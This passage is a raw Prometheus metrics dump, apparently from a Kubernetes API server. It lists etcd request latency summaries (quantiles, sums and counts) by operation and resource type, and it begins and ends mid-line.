,type=\  api.event\ ,quantile=\ 0.99\ } 3826\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  api.event\ } 7.3673064e+07\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  api.event\ } 2821\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.namespace\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.namespace\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.namespace\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  api.namespace\ } 97615\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  api.namespace\ } 1\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.node\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.node\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.node\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  api.node\ } 51890\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  api.node\ } 8\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.pod\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.pod\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.pod\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  api.pod\ } 258408\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  api.pod\ } 11\r etcd_request_latencies_summary{operation=\ create\ ,type=\  batch.cronjob\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  batch.cronjob\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  batch.cronjob\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  batch.cronjob\ } 7305\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  batch.cronjob\ } 2\r etcd_request_latencies_summary{operation=\ create\ ,type=\  extensions.deployment\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  extensions.deployment\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  extensions.deployment\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  extensions.deployment\ } 105658\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  extensions.deployment\ } 4\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  rbac.clusterrole\ } 145696\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  rbac.clusterrole\ } 30\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  rbac.clusterrolebinding\ } 197904\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  rbac.clusterrolebinding\ } 24\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.role\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.role\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.role\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  rbac.role\ } 14999\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  rbac.role\ } 4\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.rolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.rolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ create\ ,type=\  rbac.rolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ create\ ,type=\  rbac.rolebinding\ } 15543\r etcd_request_latencies_summary_count{operation=\ create\ ,type=\  rbac.rolebinding\ } 3\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  api.pod\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  api.pod\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  api.pod\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ delete\ ,type=\  api.pod\ } 9.020814e+06\r etcd_request_latencies_summary_count{operation=\ delete\ ,type=\  api.pod\ } 351\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  batch.cronjob\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  batch.cronjob\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  batch.cronjob\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ delete\ ,type=\  batch.cronjob\ } 11427\r etcd_request_latencies_summary_count{operation=\ delete\ ,type=\  batch.cronjob\ } 1\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  batch.job\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  batch.job\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ delete\ ,type=\  batch.job\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ delete\ ,type=\  batch.job\ } 2.646038e+06\r etcd_request_latencies_summary_count{operation=\ delete\ ,type=\  batch.job\ } 181\r etcd_request_latencies_summary{operation=\ get\ ,type=\    api.endpoints\ ,quantile=\ 0.5\ } 101842\r etcd_request_latencies_summary{operation=\ get\ ,type=\    api.endpoints\ ,quantile=\ 0.9\ } 296613\r etcd_request_latencies_summary{operation=\ get\ ,type=\    api.endpoints\ ,quantile=\ 0.99\ } 504078\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\    api.endpoints\ } 1.0171874913e+10\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\    api.endpoints\ } 73936\r etcd_request_latencies_summary{operation=\ get\ ,type=\    api.node\ ,quantile=\ 0.5\ } 15324\r etcd_request_latencies_summary{operation=\ get\ ,type=\    api.node\ ,quantile=\ 0.9\ } 90819\r etcd_request_latencies_summary{operation=\ get\ ,type=\    api.node\ ,quantile=\ 0.99\ } 108254\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\    api.node\ } 2.9509571e+08\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\    api.node\ } 6094\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.configmap\ ,quantile=\ 0.5\ } 1862\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.configmap\ ,quantile=\ 0.9\ } 100945\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.configmap\ ,quantile=\ 0.99\ } 252514\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.configmap\ } 5.03630274e+08\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.configmap\ } 14930\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.endpoints\ ,quantile=\ 0.5\ } 1642\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.endpoints\ ,quantile=\ 0.9\ } 77291\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.endpoints\ ,quantile=\ 0.99\ } 324222\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.endpoints\ } 1.254797659e+09\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.endpoints\ } 62591\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.event\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.event\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.event\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.event\ } 4.338097e+06\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.event\ } 237\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.limitrange\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.limitrange\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.limitrange\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.limitrange\ } 4060\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.limitrange\ } 4\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.namespace\ ,quantile=\ 0.5\ } 1453\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.namespace\ ,quantile=\ 0.9\ } 12632\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.namespace\ ,quantile=\ 0.99\ } 95610\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.namespace\ } 1.35662085e+08\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.namespace\ } 9165\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.node\ ,quantile=\ 0.5\ } 2474\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.node\ ,quantile=\ 0.9\ } 101447\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.node\ ,quantile=\ 0.99\ } 323953\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.node\ } 6.40095822e+08\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.node\ } 34775\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.persistentvolume\ ,quantile=\ 0.5\ } 1467\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.persistentvolume\ ,quantile=\ 0.9\ } 18691\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.persistentvolume\ ,quantile=\ 0.99\ } 75247\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.persistentvolume\ } 4.681344e+07\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.persistentvolume\ } 3789\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.persistentvolumeclaim\ ,quantile=\ 0.5\ } 1634\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.persistentvolumeclaim\ ,quantile=\ 0.9\ } 55595\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.persistentvolumeclaim\ ,quantile=\ 0.99\ } 91630\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.persistentvolumeclaim\ } 8.2420278e+07\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.persistentvolumeclaim\ } 3788\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.pod\ ,quantile=\ 0.5\ } 11246\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.pod\ ,quantile=\ 0.9\ } 91441\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.pod\ ,quantile=\ 0.99\ } 91441\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.pod\ } 2.29711616e+08\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.pod\ } 9238\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.rangeallocation\ ,quantile=\ 0.5\ } 1454\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.rangeallocation\ ,quantile=\ 0.9\ } 3704\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.rangeallocation\ ,quantile=\ 0.99\ } 5479\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.rangeallocation\ } 2.3108008e+07\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.rangeallocation\ } 1544\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.secret\ ,quantile=\ 0.5\ } 1262\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.secret\ ,quantile=\ 0.9\ } 5571\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.secret\ ,quantile=\ 0.99\ } 96028\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.secret\ } 2.25644585e+08\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.secret\ } 21763\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.service\ ,quantile=\ 0.5\ } 1510\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.service\ ,quantile=\ 0.9\ } 25757\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.service\ ,quantile=\ 0.99\ } 161221\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.service\ } 2.2974712136e+10\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.service\ } 2.70827e+06\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.serviceaccount\ ,quantile=\ 0.5\ } 15731\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.serviceaccount\ ,quantile=\ 0.9\ } 24099\r etcd_request_latencies_summary{operation=\ get\ ,type=\  api.serviceaccount\ ,quantile=\ 0.99\ } 24099\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  api.serviceaccount\ } 2.346068e+06\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  api.serviceaccount\ } 348\r etcd_request_latencies_summary{operation=\ get\ ,type=\  apps.statefulset\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  apps.statefulset\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  apps.statefulset\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  apps.statefulset\ } 67959\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  apps.statefulset\ } 18\r etcd_request_latencies_summary{operation=\ get\ ,type=\  batch.cronjob\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  batch.cronjob\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  batch.cronjob\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  batch.cronjob\ } 112704\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  batch.cronjob\ } 4\r etcd_request_latencies_summary{operation=\ get\ ,type=\  batch.job\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  batch.job\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  batch.job\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  batch.job\ } 2.753511e+06\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  batch.job\ } 374\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.daemonset\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.daemonset\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.daemonset\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.daemonset\ } 4.117896e+06\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.daemonset\ } 116\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.deployment\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.deployment\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.deployment\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.deployment\ } 535411\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.deployment\ } 59\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.ingress\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.ingress\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.ingress\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.ingress\ } 97387\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.ingress\ } 4\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.podsecuritypolicy\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.podsecuritypolicy\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.podsecuritypolicy\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.podsecuritypolicy\ } 132307\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.podsecuritypolicy\ } 4\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.replicaset\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.replicaset\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.replicaset\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.replicaset\ } 1.372574e+06\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.replicaset\ } 135\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.thirdpartyresource\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.thirdpartyresource\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.thirdpartyresource\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.thirdpartyresource\ } 145483\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.thirdpartyresource\ } 2\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.thirdpartyresourcedata\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.thirdpartyresourcedata\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  extensions.thirdpartyresourcedata\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  extensions.thirdpartyresourcedata\ } 140938\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  extensions.thirdpartyresourcedata\ } 5\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  rbac.clusterrole\ } 371300\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  rbac.clusterrole\ } 48\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  rbac.clusterrolebinding\ } 48528\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  rbac.clusterrolebinding\ } 36\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.role\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.role\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.role\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  rbac.role\ } 10508\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  rbac.role\ } 4\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.rolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.rolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  rbac.rolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  rbac.rolebinding\ } 2955\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  rbac.rolebinding\ } 3\r etcd_request_latencies_summary{operation=\ get\ ,type=\  storage.storageclass\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  storage.storageclass\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ get\ ,type=\  storage.storageclass\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ get\ ,type=\  storage.storageclass\ } 70769\r etcd_request_latencies_summary_count{operation=\ get\ ,type=\  storage.storageclass\ } 2\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.configmap\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.configmap\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.configmap\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.configmap\ } 629422\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.configmap\ } 2\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.endpoints\ ,quantile=\ 0.5\ } 2218\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.endpoints\ ,quantile=\ 0.9\ } 17502\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.endpoints\ ,quantile=\ 0.99\ } 90226\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.endpoints\ } 3.5723064e+07\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.endpoints\ } 3042\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.event\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.event\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.event\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.event\ } 2.287489e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.event\ } 18\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.limitrange\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.limitrange\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.limitrange\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.limitrange\ } 589596\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.limitrange\ } 7\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.namespace\ ,quantile=\ 0.5\ } 1801\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.namespace\ ,quantile=\ 0.9\ } 2868\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.namespace\ ,quantile=\ 0.99\ } 2868\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.namespace\ } 7.182425e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.namespace\ } 636\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.node\ ,quantile=\ 0.5\ } 5003\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.node\ ,quantile=\ 0.9\ } 79089\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.node\ ,quantile=\ 0.99\ } 187841\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.node\ } 2.45535351e+08\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.node\ } 7483\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.persistentvolume\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.persistentvolume\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.persistentvolume\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.persistentvolume\ } 545599\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.persistentvolume\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.persistentvolumeclaim\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.persistentvolumeclaim\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.persistentvolumeclaim\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.persistentvolumeclaim\ } 629028\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.persistentvolumeclaim\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.pod\ ,quantile=\ 0.5\ } 58137\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.pod\ ,quantile=\ 0.9\ } 210363\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.pod\ ,quantile=\ 0.99\ } 1.002154e+06\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.pod\ } 1.521469892e+09\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.pod\ } 19508\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.podtemplate\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.podtemplate\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.podtemplate\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.podtemplate\ } 511785\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.podtemplate\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.replicationcontroller\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.replicationcontroller\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.replicationcontroller\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.replicationcontroller\ } 2.289743e+06\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.replicationcontroller\ } 4\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.resourcequota\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.resourcequota\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.resourcequota\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.resourcequota\ } 503249\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.resourcequota\ } 10\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.secret\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.secret\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.secret\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.secret\ } 734726\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.secret\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.service\ ,quantile=\ 0.5\ } 2423\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.service\ ,quantile=\ 0.9\ } 8978\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.service\ ,quantile=\ 0.99\ } 79524\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.service\ } 6.2743542e+07\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.service\ } 5273\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.serviceaccount\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.serviceaccount\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ list\ ,type=\    api.serviceaccount\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    api.serviceaccount\ } 547515\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    api.serviceaccount\ } 1\r etcd_request_latencies_summary{operation=\ list\ ,type=\    apps.statefulset\ ,quantile=\ 0.5\ } 1572\r etcd_request_latencies_summary{operation=\ list\ ,type=\    apps.statefulset\ ,quantile=\ 0.9\ } 6042\r etcd_request_latencies_summary{operation=\ list\ ,type=\    apps.statefulset\ ,quantile=\ 0.99\ } 73153\r etcd_request_latencies_summary_sum{operation=\ list\ ,type=\    apps.statefulset\ } 3.0512066e+07\r etcd_request_latencies_summary_count{operation=\ list\ ,type=\    apps.statefulset\ } 3428\r etcd_request_latencies_summary{operation=\ list\ ,type=\    autoscaling.horizontalpodautoscaler\ 